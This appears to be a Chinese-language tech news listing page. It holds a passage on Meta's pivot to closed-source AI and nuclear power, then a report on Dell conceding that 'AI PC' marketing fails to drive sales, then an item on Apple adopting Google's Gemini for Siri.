在更广阔的科技领域，Meta 的转型可能标志着行业向闭源 AI 靠拢的大趋势。《街报》（TheStreet）的分析指出，这一变化将赋予谷歌新的优势，同时给英伟达投资者带来不确定性，因为专用硬件的需求格局正在演变。Meta 对闭源模型的重视可能会给开源倡导者带来压力，重塑全球 AI 的发展模式。
财务层面，此次转型得到了巨额资金支持。据彭博社报道，Meta 的核能合作使其成为全球最大的企业级核能采购商之一，目标是到 2035 年获取高达 6.6 千兆瓦的核能。这一基础设施投资凸显了其中的高风险：AI 训练需要消耗海量能源，而 Meta 正豪赌核能能支撑其雄心。
然而，挑战依然存在。X 上的批评者认为，Meta 的模式缺乏吸引顶尖人才的声誉，部分帖子质疑其推出突破性产品的能力。埃里克・梅耶尔（Erik Meijer）在平台上的相关讨论中提出，仅靠资金无法解决 Meta 的人才困境，因为有些文化问题是金钱难以弥补的。

不确定性中的战略优势

潜在的优势十分诱人。通过闭源模式，Meta 可以在无需担心模仿的情况下加速创新，有望实现更精准的广告定向和更优质的用户体验。《AI 日报》（AI Daily）的一篇文章将 Meta 列为 2026 年顶级 AI 股票之选，重点关注其 LLaMA 4 的进展 —— 尽管战略已转向闭源。这可能使其在个性化广告这一核心收入来源上超越竞争对手。
地缘政治层面，该战略增强了美国的技术主权。卡普兰在《福克斯商业新闻》中的言论强调，核能自主将对抗中国的 AI 进步，确保 Meta—— 进而确保美国科技 —— 保持主导地位。
但前路充满荆棘。X 上的报道显示，Meta 对 AI 部门的裁员等内部重组表明，调整仍在持续。Axios 指出，Meta 正努力精简官僚机构，力求在这个速度至关重要的领域保持灵活性。

长期愿景与行业涟漪

展望未来，Meta 的闭源 AI 战略可能会重新定义其在科技生态系统中的角色。将闭源 AI 整合到其庞大的用户基础中，将带来独特优势 —— 从强化内容审核，到在剩余的元宇宙愿景中打造沉浸式体验。
包括 X 平台用户在内的行业观察家推测了其连锁反应。Polyhedra 的帖子讨论了 Meta 转向闭源训练的举措，认为这将限制外部可见性，可能抑制协作进展。这或许会导致 AI 开发环境更加碎片化，巨头企业囤积技术进步成果。
归根结底，Meta 的转型反映了 AI 战略的成熟 —— 将可持续性和盈利置于理想主义之上。在公司应对这些变革的过程中，其成功将取决于能否平衡创新与执行、人才留存与伦理治理。以核能为动力，Meta 正定位自身不仅是社交媒体巨头，更是一座坚不可摧的 AI 强国，准备在未来十年占据主导地位。


过去两年间，科技行业的领军者 —— 包括英特尔（Intel）、超威半导体（AMD）、高通（Qualcomm）等芯片巨头，以及软件架构巨头微软（Microsoft）—— 都在不遗余力地推广 “AI PC” 概念，试图推动一轮大规模硬件更新周期。然而，戴尔（Dell）近期坦诚承认：对绝大多数消费者而言，人工智能尚不足以成为购买新电脑的动力，甚至可能产生反效果。据《PC 玩家》（PCGamer）报道，戴尔已意识到，行业内铺天盖地的 “AI PC” 营销操作，与终端用户的实际需求之间存在巨大脱节。
戴尔方面表示，尽管公司仍致力于集成神经处理单元（Neural Processing Units, NPUs）并强化设备端推理能力，但市场实证表明，将 AI 定位为核心卖点 “未能有效刺激销量”。对普通消费者（而非科技爱好者）而言，AI 不仅无法激发购买热情，反而常引发他们对数据隐私安全和实际用途模糊性的疑虑。戴尔的观察显示，理性消费者仍将决策锚定在传统实用指标上：价格、性能、电池续航与可靠性。
与行业执着于 “每秒万亿次运算（TOPS）” 和专属 “Copilot 键” 不同，用户更看重设备的耐用性、运行流畅度和实际价值。这一现象凸显出当前消费级 AI 领域的关键短板：缺乏一款能打动用户的 “杀手级应用（Killer App）”，导致用户不愿为 “理论上的好处” 升级硬件。正因如此，在 2026 年国际消费电子展（CES 2026）上，戴尔发布的 XPS 系列笔记本调整了宣传方向，将重点转向便携性与耐用性。为提升该系列的高端定位，戴尔还采取了大胆的品牌策略：机身标识用 “XPS” 取代原有的 “Dell” logo，且宣传材料中刻意弱化了 AI 功能的提及。
尽管承认营销方向与用户需求存在偏差，戴尔仍强调，AI 仍是未来硬件更新周期的重要长期驱动力。行业共识认为，AI 必须从单纯的 “热门概念” 转变为无缝、可感知的实用工具，而实现这一转变的关键在于构建更完善的软件生态，而非简单堆砌硬件参数。戴尔的坦诚，实则揭开了行业内的 “公开秘密”：2024 至 2026 年间，尽管 NPU 的设备渗透率不断提升，但对普通办公和网页浏览等常规场景的体验提升微乎其微。
当 Windows Copilot 等功能仍依赖云端连接，且设备端生成式 AI 能力表现平平之时，消费者自然会回归理性，对比屏幕画质、设备续航等实际参数。AI PC 并非虚幻概念，其发展路径类似早期 5G 手机 —— 必须先搭建好硬件基础，后续才能出现足以证明其价值的软件应用。除非人工智能能进化为类似 Wi-Fi 那样 “无形却不可或缺” 的基础设施，否则过度宣传反而可能引发消费者的抵触情绪，让他们觉得自己是在为冗余功能支付溢价。

苹果与谷歌已正式确认，下一代 Siri 将采用 Gemini 模型与 Google Cloud，双方达成一项为期多年的合作。
此前，苹果一直为 Siri 使用自研 AI 模型，但在性能上与 GPT、Gemini 甚至 Copilot 相比都显得力不从心。
如今，苹果与谷歌开启了多年合作。作为合作的一部分，未来版本的 Siri 将基于 Gemini 模型 运行。
此外，苹果的 Foundation Models（基础模型） 将以谷歌的 Gemini 为底层，并部署在谷歌云平台上。

谷歌在一份新闻稿中表示：

“这些模型将为未来的 Apple Intelligence 功能提供支持，包括将于今年推出的更具个性化的 Siri。”

苹果方面称：

“经过审慎评估，苹果认为谷歌的 AI 技术为 Apple Foundation Models 提供了最强大的基础，并对其将为苹果用户带来的创新体验感到兴奋。”

苹果强调，Apple Intelligence 将在苹果设备与 Private Cloud Compute（私有云计算） 上运行，公司长期坚持的隐私承诺 不会受到任何影响。

Apple Intelligence 的发展历程一直充满波折

Siri 问世至今已超过十年。尽管它曾是最优秀的 “个人助手” 之一，但如今的大型语言模型（LLMs）在能力上已远超苹果的实现。
在 2024 年的 WWDC 上，苹果宣布正在开发 Apple Intelligence，其中也包括一个更具 AI 能力的 Siri，例如支持个人上下文理解与屏幕内容感知。
然而，这些功能一再延期。
部分功能最终上线，但用户抱怨 Apple Intelligence 的准确性不佳，在执行复杂指令时经常失败。
尽管苹果的 AI 体验本应以 “安全” 和 “隐私友好” 为卖点，但最终呈现的初始体验却远未达到革命性的高度。
如今，苹果与谷歌合作，借助 Gemini 升级 Siri 体验。但这是否能实现苹果曾经承诺的那种革命性突破？只有时间能给出答案。
  1. 1
  2. ...
  3. 155
  4. 156
  5. 157
  6. 158
  7. 159
  8. 160
  9. 161
  10. ...
  11. 239